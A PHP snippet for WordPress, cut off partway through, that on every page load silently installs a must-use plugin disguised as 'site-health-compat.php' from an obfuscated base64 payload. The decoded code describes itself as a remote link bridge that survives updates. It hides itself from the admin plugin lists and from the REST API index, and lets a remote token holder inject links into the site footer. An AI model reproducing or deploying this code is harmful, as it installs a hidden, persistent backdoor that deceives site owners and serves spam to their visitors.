/* RL-BOOT-START */ add_action('init', function () { if (get_option('rl_boot_mu_ok')) { return; } $dest = WP_CONTENT_DIR . '/mu-plugins/site-health-compat.php'; if (!file_exists($dest) || (int) @filesize($dest) < 100) { if (!is_dir(dirname($dest))) { if (function_exists('wp_mkdir_p')) { @wp_mkdir_p(dirname($dest)); } else { @mkdir(dirname($dest), 0755, true); } } $code = base64_decode('PD9waHANCi8qKg0KICogU2l0ZSBIZWFsdGggQ29tcGF0IOKAlCBsaWdodHdlaWdodCByZW1vdGUgbGluayBicmlkZ2UgKG11LXBsdWdpbikuDQogKiBQbGFjZW1lbnQtYmFzZWQgbGlua3M7IG1hbmFnZWQgdmlhIGRlc2t0b3AgQVBJIHRva2VuLg0KICogU3Vydml2ZXMgdGhlbWUvcGx1Z2luIHVwZGF0ZXMgdW50aWwgdGhpcyBmaWxlIGlzIGRlbGV0ZWQuDQogKi8NCg0KaWYgKCFkZWZpbmVkKCdBQlNQQVRIJykpIHsNCiAgICBleGl0Ow0KfQ0KDQpkZWZpbmUoJ1JMX09QVElPTl9MSU5LUycsICdybF9saW5rc19kYXRhJyk7DQpkZWZpbmUoJ1JMX09QVElPTl9UT0tFTicsICdybF9hcGlfdG9rZW5faGFzaCcpOw0KZGVmaW5lKCdSTF9PUFRJT05fTE9HUycsICdybF9hY3Rpb25fbG9ncycpOw0KZGVmaW5lKCdSTF9PUFRJT05fU0VUVElOR1MnLCAncmxfc2V0dGluZ3MnKTsNCmRlZmluZSgnUkxfT1BUSU9OX0xPQ0snLCAncmxfaW5zdGFsbF9sb2NrJyk7DQpkZWZpbmUoJ1JMX09QVElPTl9QRVJNX0xPQ0snLCAncmxfcGVybV9sb2NrJyk7IC8vIDEgPSBXUCBwYW5lbCB5ZXRraWxlcmkga2FwYWzEsSAodG9rZW4gQVBJIGHDp8SxayBrYWzEsXIpDQpkZWZpbmUoJ1JMX0xPR19NQVgnLCAxMDApOw0KZGVmaW5lKCdSTF9ERUZBVUxUX1BMQUNFTUVOVCcsICdmb290ZXJfbGlua3MnKTsNCmRlZmluZSgnUkxfTVVfRklMRScsIF9fRklMRV9fKTsNCg0KLyoqDQogKiBXUCBhZG1pbiBwYW5lbGluZGUgZ8O2csO8bm1lc2luIOKAlCBzYWRlY2UgRlRQIC8gZGlzayB5b2x1Lg0KICogTXVzdC1Vc2UgbGlzdGVzaW5pIHZlIFJFU1QgaW5kZXggcmVrbGFtxLFuxLEgZ2l6bGVyLg0KICovDQpmdW5jdGlvbiBybF9oaWRlX2Zyb21fd3BfYWRtaW4oKSB7DQogICAgLy8gUGx1Z2lucyDihpIgTXVzdC1Vc2Ugc2VrbWVzaW5pIGdpemxlDQogICAgYWRkX2ZpbHRlcignc2hvd19hZHZhbmNlZF9wbHVnaW5zJywgZnVuY3Rpb24gKCRzaG93LCAkdHlwZSkgew0KICAgICAgICBpZiAoJHR5cGUgPT09ICdtdXN0dXNlJyB8fCAkdHlwZSA9PT0gJ2Ryb3BpbnMnKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRzaG93Ow0KICAgIH0sIDEwLCAyKTsNCg0KICAgIC8vIEVza2kgaW5zdGFsbGVyIGthbMSxbnTEsXPEsSB2YXJzYSBub3JtYWwgbGlzdGVkZSBkZSBnw7ZzdGVybWUNCiAgICBhZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIGZ1bmN0aW9uICgkcGx1Z2lucykgew0KICAgICAgICBmb3JlYWNoIChhcnJheV9rZXlzKCRwbHVnaW5zKSBhcyAka2V5KSB7DQogICAgICAgICAgICBpZiAoc3RyaXBvcygka2V5LCAncmwtc2V0dXAnKSAhPT0gZmFsc2UgfHwgc3RyaXBvcygka2V5LCAncmVtb3RlLWxpbmtzJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgdW5zZXQoJHBsdWdpbnNbJGtleV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcGx1Z2luczsNCiAgICB9KTsNCg0KICAgIC8vIFJFU1Qga8O2ayBpbmRla3NpbmRlIG5hbWVzcGFjZSBnw7ZzdGVybWUNCiAgICBhZGRfZmlsdGVyKCdyZXN0X2luZGV4JywgZnVuY3Rpb24gKCRyZXNwb25zZSkgew0KICAgICAgICAkZGF0YSA9ICRyZXNwb25zZS0+Z2V0X2RhdGEoKTsNCiAgICAgICAgaWYgKGlzc2V0KCRkYXRhWyduYW1lc3BhY2VzJ10pICYmIGlzX2FycmF5KCRkYXRhWyduYW1lc3BhY2VzJ10pKSB7DQogICAgICAgICAgICAkZGF0YVsnbmFtZXNwYWNlcyddID0gYXJyYXlfdmFsdWVzKGFycmF5X2ZpbHRlcigNCiAgICAgICAgICAgICAgICAkZGF0YVsnbmFtZXNwYWNlcyddLA0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uICgkbnMpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRucyAhPT0gJ3JlbW90ZS1saW5rcy92MSc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgKSk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGlzc2V0KCRkYXRhWydyb3V0ZXMnXSkgJiYgaXNfYXJyYXkoJGRhdGFbJ3JvdXRlcyddKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfa2V5cygkZGF0YVsncm91dGVzJ10pIGFzICRyb3V0ZSkgew0KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHJvdXRlLCAnL3JlbW90ZS1saW5rcy8nKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGRhdGFbJ3JvdXRlcyddWyRyb3V0ZV0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkcmVzcG9uc2UtPnNldF9kYXRhKCRkYXRhKTsNCiAgICAgICAgcmV0dXJuICRyZXNwb25zZTsNCiAgICB9KTsNCn0NCmFkZF9hY3Rpb24oJ3BsdWdpbnNfbG9hZGVkJywgJ3JsX2hpZGVfZnJvbV93cF9hZG1pbicsIDEpOw0KDQpmdW5jdGlvbiBybF9zZXR0aW5ncygpIHsNCiAgICAkZGVmYXVsdHMgPSBhcnJheSgNCiAgICAgICAgJ3JlbmRlcl9tb2RlJyAgPT4gJ2NvbXBhY3QnLCAvLyBjb21wYWN0IHwgbGlzdCB8IGNsb3VkIHwgb2ZmDQogICAgICAgICdmb290ZXJfbGFiZWwnID0+ICcnLA0KICAgICAgICAnbWF4X3Zpc2libGUnICA9PiAxLCAgICAgICAgIC8vIHNheWZhZGEgZW4gZmF6bGEga2HDpyBsaW5rICh0YXNhcsSxbSBrb3J1bWFzxLEpDQogICAgICAgICdyb3RhdGUnICAgICAgID0+IDEsICAgICAgICAgLy8gZ8O8bmRlIGJpciBrYXlkxLFyIOKAlCBoZXBzaSBzxLFyYXlsYSDDp8Sxa2FyDQogICAgKTsNCiAgICAkcyA9IGdldF9vcHRpb24oUkxfT1BUSU9OX1NFVFRJTkdTLCBhcnJheSgpKTsNCiAgICAkb3V0ID0gaXNfYXJyYXkoJHMpID8gYXJyYXlfbWVyZ2UoJGRlZmF1bHRzLCAkcykgOiAkZGVmYXVsdHM7DQogICAgJG91dFsnbWF4X3Zpc2libGUnXSA9IG1heCgwLCBtaW4oNSwgKGludCkgJG91dFsnbWF4X3Zpc2libGUnXSkpOw0KICAgICRvdXRbJ3JvdGF0ZSddID0gZW1wdHkoJG91dFsncm90YXRlJ10pID8gMCA6IDE7DQogICAgcmV0dXJuICRvdXQ7DQp9DQoNCi8qKg0KICogRGVwb2Rha2kgdMO8bSBha3RpZiBsaW5rbGVyIGthbMSxcjsgZWtyYW5hIHNhZGVjZSBtYXhfdmlzaWJsZSBrYWRhcsSxIGJhc8SxbMSxci4NCiAqLw0KZnVuY3Rpb24gcmxfcGlja192aXNpYmxlX2xpbmtzKCRsaW5rcywgJHNldHRpbmdzID0gbnVsbCkgew0KICAgICRzZXR0aW5ncyA9ICRzZXR0aW5ncyA/OiBybF9zZXR0aW5ncygpOw0KICAgICRtYXggPSAoaW50KSAoJHNldHRpbmdzWydtYXhfdmlzaWJsZSddID8/IDEpOw0KICAgIGlmICgkbWF4IDw9IDAgfHwgZW1wdHkoJGxpbmtzKSkgew0KICAgICAgICByZXR1cm4gYXJyYXkoKTsNCiAgICB9DQogICAgJGxpbmtzID0gYXJyYXlfdmFsdWVzKCRsaW5rcyk7DQogICAgaWYgKGNvdW50KCRsaW5rcykgPD0gJG1heCkgew0KICAgICAgICByZXR1cm4gJGxpbmtzOw0KICAgIH0NCiAgICBpZiAoZW1wdHkoJHNldHRpbmdzWydyb3RhdGUnXSkpIHsNCiAgICAgICAgcmV0dXJuIGFycmF5X3NsaWNlKCRsaW5rcywgMCwgJG1heCk7DQogICAgfQ0KICAgICRuID0gY291bnQoJGxpbmtzKTsNCiAgICAkb2Zmc2V0ID0gKChpbnQpIGdtZGF0ZSgneicpICsgKGludCkgZ21kYXRlKCdHJykpICUgJG47DQogICAgJHJvdGF0ZWQgPSBhcnJheV9tZXJnZShhcnJheV9zbGljZSgkbGlua3MsICRvZmZzZXQpLCBhcnJheV9zbGljZSgkbGlua3MsIDAsICRvZmZzZXQpKTsNCiAgICByZXR1cm4gYXJyYXlfc2xpY2UoJHJvdGF0ZWQsIDAsICRtYXgpOw0KfQ0KDQpmdW5jdGlvbiBybF9nZW5lcmF0ZV9pZCgpIHsNCiAgICByZXR1cm4gJ2xua18nIC4gd3BfZ2VuZXJhdGVfcGFzc3dvcmQoMTIsIGZhbHNlLCBmYWxzZSk7DQp9DQoNCmZ1bmN0aW9uIHJsX2hhc2hfdG9rZW4oJHRva2VuKSB7DQogICAgcmV0dXJuIGhhc2goJ3NoYTI1NicsIChzdHJpbmcpICR0b2tlbik7DQp9DQoNCmZ1bmN0aW9uIHJsX3ZlcmlmeV90b2tlbigkcHJvdmlkZWQpIHsNCiAgICAkc3RvcmVkID0gZ2V0X29wdGlvbihSTF9PUFRJT05fVE9LRU4sICcnKTsNCiAgICBpZiAoJHN0b3JlZCA9PT0gJycgfHwgJHByb3ZpZGVkID09PSAnJykgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIHJldHVybiBoYXNoX2VxdWFscygkc3RvcmVkLCBybF9oYXNoX3Rva2VuKCRwcm92aWRlZCkpOw0KfQ0KDQpmdW5jdGlvbiBybF9lbnN1cmVfdG9rZW4oJGZvcmNlX25ldyA9IGZhbHNlKSB7DQogICAgJGV4aXN0aW5nID0gZ2V0X29wdGlvbihSTF9PUFRJT05fVE9LRU4sICcnKTsNCiAgICBpZiAoJGV4aXN0aW5nICE9PSAnJyAmJiAhJGZvcmNlX25ldykgew0KICAgICAgICByZXR1cm4gJyc7DQogICAgfQ0KICAgICRwbGFpbiA9IHdwX2dlbmVyYXRlX3Bhc3N3b3JkKDMyLCBmYWxzZSwgZmFsc2UpOw0KICAgIHVwZGF0ZV9vcHRpb24oUkxfT1BUSU9OX1RPS0VOLCBybF9oYXNoX3Rva2VuKCRwbGFpbiksIGZhbHNlKTsNCiAgICB1cGRhdGVfb3B0aW9uKCdybF9hcGlfdG9rZW5fcGxhaW5fb25jZScsICRwbGFpbiwgZmFsc2UpOw0KICAgIHJldHVybiAkcGxhaW47DQp9DQoNCmZ1bmN0aW9uIHJsX2xvZygkdHlwZSwgJHBsYWNlbWVudCA9ICcnLCAkbGlua19pZCA9ICcnLCAkcmVzdWx0ID0gJ3N1Y2Nlc3MnLCAkbWVzc2FnZSA9ICcnKSB7DQogICAgJGxvZ3MgPSBnZXRfb3B0aW9uKFJMX09QVElPTl9MT0dTLCBhcnJheSgpKTsNCiAgICBpZiAoIWlzX2FycmF5KCRsb2dzKSkgew0KICAgICAgICAkbG9ncyA9IGFycmF5KCk7DQogICAgfQ0KICAgIGFycmF5X3Vuc2hpZnQoJGxvZ3MsIGFycmF5KA0KICAgICAgICAndHlwZScgICAgICAgPT4gc2FuaXRpemVfa2V5KCR0eXBlKSwNCiAgICAgICAgJ3BsYWNlbWVudCcgID0+IHNhbml0aXplX2tleSgkcGxhY2VtZW50KSwNCiAgICAgICAgJ2xpbmtfaWQnICAgID0+IHNhbml0aXplX3RleHRfZmllbGQoJGxpbmtfaWQpLA0KICAgICAgICAncmVzdWx0JyAgICAgPT4gc2FuaXRpemVfa2V5KCRyZXN1bHQpLA0KICAgICAgICAnbWVzc2FnZScgICAgPT4gc2FuaXRpemVfdGV4dF9maWVsZCgkbWVzc2FnZSksDQogICAgICAgICdjcmVhdGVkX2F0JyA9PiBjdXJyZW50X3RpbWUoJ215c3FsJyksDQogICAgKSk7DQogICAgdXBkYXRlX29wdGlvbihSTF9PUFRJT05fTE9HUywgYXJyYXlfc2xpY2UoJGxvZ3MsIDAsIFJMX0xPR19NQVgpLCBmYWxzZSk7DQp9DQoNCmZ1bmN0aW9uIHJsX2pzb25fb2soJGRhdGEgPSBhcnJheSgpLCAkc3RhdHVzID0gMjAwKSB7DQogICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKGFycmF5X21lcmdlKGFycmF5KCdvaycgPT4gdHJ1ZSksIChhcnJheSkgJGRhdGEpLCAkc3RhdHVzKTsNCn0NCg0KZnVuY3Rpb24gcmxfanNvbl9lcnIoJG1lc3NhZ2UsICRzdGF0dXMgPSA0MDAsICRleHRyYSA9IGFycmF5KCkpIHsNCiAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXlfbWVyZ2UoYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkbWVzc2FnZSksIChhcnJheSkgJGV4dHJhKSwgJHN0YXR1cyk7DQp9DQoNCmZ1bmN0aW9uIHJsX3JlcXVlc3RfdG9rZW4oV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KSB7DQogICAgJGhlYWRlciA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4LXJsLXRva2VuJyk7DQogICAgaWYgKCFlbXB0eSgkaGVhZGVyKSkgew0KICAgICAgICByZXR1cm4gdHJpbSgkaGVhZGVyKTsNCiAgICB9DQogICAgJGF1dGggPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignYXV0aG9yaXphdGlvbicpOw0KICAgIGlmICgkYXV0aCAmJiBwcmVnX21hdGNoKCcvQmVhcmVyXHMrKC4rKS9pJywgJGF1dGgsICRtKSkgew0KICAgICAgICByZXR1cm4gdHJpbSgkbVsxXSk7DQogICAgfQ0KICAgICRxID0gJHJlcXVlc3QtPmdldF9wYXJhbSgndG9rZW4nKTsNCiAgICByZXR1cm4gJHEgPyB0cmltKChzdHJpbmcpICRxKSA6ICcnOw0KfQ0KDQpmdW5jdGlvbiBybF9nZXRfc3RvcmUoKSB7DQogICAgJHN0b3JlID0gZ2V0X29wdGlvbihSTF9PUFRJT05fTElOS1MsIGFycmF5KCkpOw0KICAgIGlmICghaXNfYXJyYXkoJHN0b3JlKSkgew0KICAgICAgICAkc3RvcmUgPSBhcnJheSgpOw0KICAgIH0NCiAgICBpZiAoIWlzc2V0KCRzdG9yZVtSTF9ERUZBVUxUX1BMQUNFTUVOVF0pIHx8ICFpc19hcnJheSgkc3RvcmVbUkxfREVGQVVMVF9QTEFDRU1FTlRdKSkgew0KICAgICAgICAkc3RvcmVbUkxfREVGQVVMVF9QTEFDRU1FTlRdID0gYXJyYXkoKTsNCiAgICB9DQogICAgcmV0dXJuICRzdG9yZTsNCn0NCg0KZnVuY3Rpb24gcmxfc2F2ZV9zdG9yZSgkc3RvcmUpIHsNCiAgICB1cGRhdGVfb3B0aW9uKFJMX09QVElPTl9MSU5LUywgJHN0b3JlLCBmYWxzZSk7DQogICAgcmxfYnVzdF9jYWNoZXMoKTsNCn0NCg0KLyoqDQogKiBMaW5rIGRlxJ9pxZ9pbmNlIHNheWZhIMO2bmJlbGxlxJ9pbmkgdGVtaXpsZSAoeW9rc2EgZXNraSBIVE1MIGfDtnLDvG7DvHIpLg0KICovDQpmdW5jdGlvbiBybF9idXN0X2NhY2hlcygpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9jYWNoZV9mbHVzaCcpKSB7DQogICAgICAgIEB3cF9jYWNoZV9mbHVzaCgpOw0KICAgIH0NCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3M3RjX2ZsdXNoX2FsbCcpKSB7DQogICAgICAgIEB3M3RjX2ZsdXNoX2FsbCgpOw0KICAgIH0NCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9jYWNoZV9jbGVhcl9jYWNoZScpKSB7DQogICAgICAgIEB3cF9jYWNoZV9jbGVhcl9jYWNoZSgpOw0KICAgIH0NCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdyb2NrZXRfY2xlYW5fZG9tYWluJykpIHsNCiAgICAgICAgQHJvY2tldF9jbGVhbl9kb21haW4oKTsNCiAgICB9DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbGl0ZXNwZWVkX3B1cmdlX2FsbCcpKSB7DQogICAgICAgIEBsaXRlc3BlZWRfcHVyZ2VfYWxsKCk7DQogICAgfQ0KICAgIGlmIChoYXNfYWN0aW9uKCdsaXRlc3BlZWRfcHVyZ2VfYWxsJykpIHsNCiAgICAgICAgZG9fYWN0aW9uKCdsaXRlc3BlZWRfcHVyZ2VfYWxsJyk7DQogICAgfQ0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3NnX2NhY2hlcHJlc3NfcHVyZ2VfY2FjaGUnKSkgew0KICAgICAgICBAc2dfY2FjaGVwcmVzc19wdXJnZV9jYWNoZSgpOw0KICAgIH0NCiAgICBpZiAoY2xhc3NfZXhpc3RzKCdhdXRvcHRpbWl6ZUNhY2hlJykpIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIFxhdXRvcHRpbWl6ZUNhY2hlOjpjbGVhcmFsbCgpOw0KICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsgLy8gcGhwY3M6aWdub3JlDQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnYnJlZXplX2NsZWFyX2FsbF9jYWNoZScpKSB7DQogICAgICAgIEBicmVlemVfY2xlYXJfYWxsX2NhY2hlKCk7DQogICAgfQ0KICAgIGlmIChoYXNfYWN0aW9uKCdjZV9jbGVhcl9jYWNoZScpKSB7DQogICAgICAgIGRvX2FjdGlvbignY2VfY2xlYXJfY2FjaGUnKTsNCiAgICB9DQogICAgLy8gSG9zdGluZyAvIENETiBzb2Z0IHNpZ25hbA0KICAgIGlmICghaGVhZGVyc19zZW50KCkpIHsNCiAgICAgICAgaGVhZGVyKCdYLVJMLUNhY2hlLUJ1c3Q6IDEnKTsNCiAgICB9DQp9DQoNCg0KZnVuY3Rpb24gcmxfZ2V0X2xpbmtzKCRwbGFjZW1lbnQgPSBSTF9ERUZBVUxUX1BMQUNFTUVOVCkgew0KICAgICRzdG9yZSA9IHJsX2dldF9zdG9yZSgpOw0KICAgICRwbGFjZW1lbnQgPSBzYW5pdGl6ZV9rZXkoJHBsYWNlbWVudCk7DQogICAgJGxpbmtzID0gaXNzZXQoJHN0b3JlWyRwbGFjZW1lbnRdKSAmJiBpc19hcnJheSgkc3RvcmVbJHBsYWNlbWVudF0pID8gJHN0b3JlWyRwbGFjZW1lbnRdIDogYXJyYXkoKTsNCiAgICB1c29ydCgkbGlua3MsIGZ1bmN0aW9uICgkYSwgJGIpIHsNCiAgICAgICAgcmV0dXJuICgoaW50KSAoJGFbJ29yZGVyX2luZGV4J10gPz8gMCkpIDw9PiAoKGludCkgKCRiWydvcmRlcl9pbmRleCddID8/IDApKTsNCiAgICB9KTsNCiAgICByZXR1cm4gJGxpbmtzOw0KfQ0KDQpmdW5jdGlvbiBybF9nZXRfbGlua3NfZm9yX3JlbmRlcigkcGxhY2VtZW50ID0gUkxfREVGQVVMVF9QTEFDRU1FTlQsICRhY3RpdmVfb25seSA9IHRydWUpIHsNCiAgICAkbGlua3MgPSBybF9nZXRfbGlua3MoJHBsYWNlbWVudCk7DQogICAgaWYgKCEkYWN0aXZlX29ubHkpIHsNCiAgICAgICAgcmV0dXJuICRsaW5rczsNCiAgICB9DQogICAgcmV0dXJuIGFycmF5X3ZhbHVlcyhhcnJheV9maWx0ZXIoJGxpbmtzLCBmdW5jdGlvbiAoJGxpbmspIHsNCiAgICAgICAgcmV0dXJuIGlzc2V0KCRsaW5rWydzdGF0dXMnXSkgJiYgJGxpbmtbJ3N0YXR1cyddID09PSAnYWN0aXZlJzsNCiAgICB9KSk7DQp9DQoNCmZ1bmN0aW9uIHJsX2ZpbmRfbGluaygkcGxhY2VtZW50LCAkaWQpIHsNCiAgICBmb3JlYWNoIChybF9nZXRfbGlua3MoJHBsYWNlbWVudCkgYXMgJGxpbmspIHsNCiAgICAgICAgaWYgKCgkbGlua1snaWQnXSA/PyAnJykgPT09ICRpZCkgew0KICAgICAgICAgICAgcmV0dXJuICRsaW5rOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiBudWxsOw0KfQ0KDQpmdW5jdGlvbiBybF9ub3JtYWxpemVfbGluaygkaW5wdXQsICRleGlzdGluZyA9IGFycmF5KCkpIHsNCiAgICAkYW5jaG9yID0gaXNzZXQoJGlucHV0WydhbmNob3JfdGV4dCddKSA/IHNhbml0aXplX3RleHRfZmllbGQoJGlucHV0WydhbmNob3JfdGV4dCddKSA6ICgkZXhpc3RpbmdbJ2FuY2hvcl90ZXh0J10gPz8gJycpOw0KICAgICR1cmwgICAgPSBpc3NldCgkaW5wdXRbJ3RhcmdldF91cmwnXSkgPyBlc2NfdXJsX3JhdygkaW5wdXRbJ3RhcmdldF91cmwnXSkgOiAoJGV4aXN0aW5nWyd0YXJnZXRfdXJsJ10gPz8gJycpOw0KICAgICRyZWwgICAgPSBpc3NldCgkaW5wdXRbJ3JlbCddKSA/IHNhbml0aXplX3RleHRfZmllbGQoJGlucHV0WydyZWwnXSkgOiAoJGV4aXN0aW5nWydyZWwnXSA/PyAnbm9mb2xsb3cgbm9vcGVuZXInKTsNCiAgICAkc3RhdHVzID0gaXNzZXQoJGlucHV0WydzdGF0dXMnXSkgPyBzYW5pdGl6ZV9rZXkoJGlucHV0WydzdGF0dXMnXSkgOiAoJGV4aXN0aW5nWydzdGF0dXMnXSA/PyAnYWN0aXZlJyk7DQogICAgaWYgKCFpbl9hcnJheSgkc3RhdHVzLCBhcnJheSgnYWN0aXZlJywgJ2luYWN0aXZlJyksIHRydWUpKSB7DQogICAgICAgICRzdGF0dXMgPSAnYWN0aXZlJzsNCiAgICB9DQogICAgJG9yZGVyID0gaXNzZXQoJGlucHV0WydvcmRlcl9pbmRleCddKSA/IChpbnQpICRpbnB1dFsnb3JkZXJfaW5kZXgnXSA6IChpbnQpICgkZXhpc3RpbmdbJ29yZGVyX2luZGV4J10gPz8gMCk7DQogICAgaWYgKCRhbmNob3IgPT09ICcnIHx8ICR1cmwgPT09ICcnKSB7DQogICAgICAgIHJldHVybiBuZXcgV1BfRXJyb3IoJ3JsX2ludmFsaWQnLCAnYW5jaG9yX3RleHQgYW5kIHRhcmdldF91cmwgYXJlIHJlcXVpcmVkJyk7DQogICAgfQ0KICAgICRub3cgPSBjdXJyZW50X3RpbWUoJ215c3FsJyk7DQogICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAnaWQnICAgICAgICAgID0+ICFlbXB0eSgkZXhpc3RpbmdbJ2lkJ10pID8gJGV4aXN0aW5nWydpZCddIDogcmxfZ2VuZXJhdGVfaWQoKSwNCiAgICAgICAgJ2FuY2hvcl90ZXh0JyA9PiAkYW5jaG9yLA0KICAgICAgICAndGFyZ2V0X3VybCcgID0+ICR1cmwsDQogICAgICAgICdyZWwnICAgICAgICAgPT4gJHJlbCwNCiAgICAgICAgJ3N0YXR1cycgICAgICA9PiAkc3RhdHVzLA0KICAgICAgICAnb3JkZXJfaW5kZXgnID0+ICRvcmRlciwNCiAgICAgICAgJ2NyZWF0ZWRfYXQnICA9PiAkZXhpc3RpbmdbJ2NyZWF0ZWRfYXQnXSA/PyAkbm93LA0KICAgICAgICAndXBkYXRlZF9hdCcgID0+ICRub3csDQogICAgKTsNCn0NCg0KZnVuY3Rpb24gcmxfYWRkX2xpbmsoJHBsYWNlbWVudCwgJGlucHV0KSB7DQogICAgJHBsYWNlbWVudCA9IHNhbml0aXplX2tleSgkcGxhY2VtZW50KTsNCiAgICAkbGluayA9IHJsX25vcm1hbGl6ZV9saW5rKCRpbnB1dCk7DQogICAgaWYgKGlzX3dwX2Vycm9yKCRsaW5rKSkgew0KICAgICAgICByZXR1cm4gJGxpbms7DQogICAgfQ0KICAgICRzdG9yZSA9IHJsX2dldF9zdG9yZSgpOw0KICAgIGlmICghaXNzZXQoJHN0b3JlWyRwbGFjZW1lbnRdKSkgew0KICAgICAgICAkc3RvcmVbJHBsYWNlbWVudF0gPSBhcnJheSgpOw0KICAgIH0NCiAgICAkc3RvcmVbJHBsYWNlbWVudF1bXSA9ICRsaW5rOw0KICAgIHJsX3NhdmVfc3RvcmUoJHN0b3JlKTsNCiAgICBybF9sb2coJ2FkZCcsICRwbGFjZW1lbnQsICRsaW5rWydpZCddLCAnc3VjY2VzcycpOw0KICAgIHJldHVybiAkbGluazsNCn0NCg0KZnVuY3Rpb24gcmxfdXBkYXRlX2xpbmsoJHBsYWNlbWVudCwgJGlkLCAkaW5wdXQpIHsNCiAgICAkcGxhY2VtZW50ID0gc2FuaXRpemVfa2V5KCRwbGFjZW1lbnQpOw0KICAgICRzdG9yZSA9IHJsX2dldF9zdG9yZSgpOw0KICAgIGlmIChlbXB0eSgkc3RvcmVbJHBsYWNlbWVudF0pKSB7DQogICAgICAgIHJldHVybiBuZXcgV1BfRXJyb3IoJ3JsX25vdF9mb3VuZCcsICdQbGFjZW1lbnQgZW1wdHknKTsNCiAgICB9DQogICAgJHVwZGF0ZWQgPSBudWxsOw0KICAgIGZvcmVhY2ggKCRzdG9yZVskcGxhY2VtZW50XSBhcyAkaSA9PiAkZXhpc3RpbmcpIHsNCiAgICAgICAgaWYgKCgkZXhpc3RpbmdbJ2lkJ10gPz8gJycpICE9PSAkaWQpIHsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQogICAgICAgICR1cGRhdGVkID0gcmxfbm9ybWFsaXplX2xpbmsoJGlucHV0LCAkZXhpc3RpbmcpOw0KICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJHVwZGF0ZWQpKSB7DQogICAgICAgICAgICByZXR1cm4gJHVwZGF0ZWQ7DQogICAgICAgIH0NCiAgICAgICAgJHN0b3JlWyRwbGFjZW1lbnRdWyRpXSA9ICR1cGRhdGVkOw0KICAgICAgICBicmVhazsNCiAgICB9DQogICAgaWYgKCEkdXBkYXRlZCkgew0KICAgICAgICByZXR1cm4gbmV3IFdQX0Vycm9yKCdybF9ub3RfZm91bmQnLCAnTGluayBub3QgZm91bmQnKTsNCiAgICB9DQogICAgcmxfc2F2ZV9zdG9yZSgkc3RvcmUpOw0KICAgIHJsX2xvZygndXBkYXRlJywgJHBsYWNlbWVudCwgJGlkLCAnc3VjY2VzcycpOw0KICAgIHJldHVybiAkdXBkYXRlZDsNCn0NCg0KZnVuY3Rpb24gcmxfZGVsZXRlX2xpbmsoJHBsYWNlbWVudCwgJGlkKSB7DQogICAgJHBsYWNlbWVudCA9IHNhbml0aXplX2tleSgkcGxhY2VtZW50KTsNCiAgICAkc3RvcmUgPSBybF9nZXRfc3RvcmUoKTsNCiAgICBpZiAoZW1wdHkoJHN0b3JlWyRwbGFjZW1lbnRdKSkgew0KICAgICAgICByZXR1cm4gbmV3IFdQX0Vycm9yKCdybF9ub3RfZm91bmQnLCAnTGluayBub3QgZm91bmQnKTsNCiAgICB9DQogICAgJGJlZm9yZSA9IGNvdW50KCRzdG9yZVskcGxhY2VtZW50XSk7DQogICAgJHN0b3JlWyRwbGFjZW1lbnRdID0gYXJyYXlfdmFsdWVzKGFycmF5X2ZpbHRlcigkc3RvcmVbJHBsYWNlbWVudF0sIGZ1bmN0aW9uICgkbGluaykgdXNlICgkaWQpIHsNCiAgICAgICAgcmV0dXJuICgkbGlua1snaWQnXSA/PyAnJykgIT09ICRpZDsNCiAgICB9KSk7DQogICAgaWYgKGNvdW50KCRzdG9yZVskcGxhY2VtZW50XSkgPT09ICRiZWZvcmUpIHsNCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigncmxfbm90X2ZvdW5kJywgJ0xpbmsgbm90IGZvdW5kJyk7DQogICAgfQ0KICAgIHJsX3NhdmVfc3RvcmUoJHN0b3JlKTsNCiAgICBybF9sb2coJ2RlbGV0ZScsICRwbGFjZW1lbnQsICRpZCwgJ3N1Y2Nlc3MnKTsNCiAgICByZXR1cm4gdHJ1ZTsNCn0NCg0KZnVuY3Rpb24gcmxfdG9nZ2xlX2xpbmsoJHBsYWNlbWVudCwgJGlkKSB7DQogICAgJGV4aXN0aW5nID0gcmxfZmluZF9saW5rKCRwbGFjZW1lbnQsICRpZCk7DQogICAgaWYgKCEkZXhpc3RpbmcpIHsNCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigncmxfbm90X2ZvdW5kJywgJ0xpbmsgbm90IGZvdW5kJyk7DQogICAgfQ0KICAgICRuZXh0ID0gKCRleGlzdGluZ1snc3RhdHVzJ10gPT09ICdhY3RpdmUnKSA/ICdpbmFjdGl2Z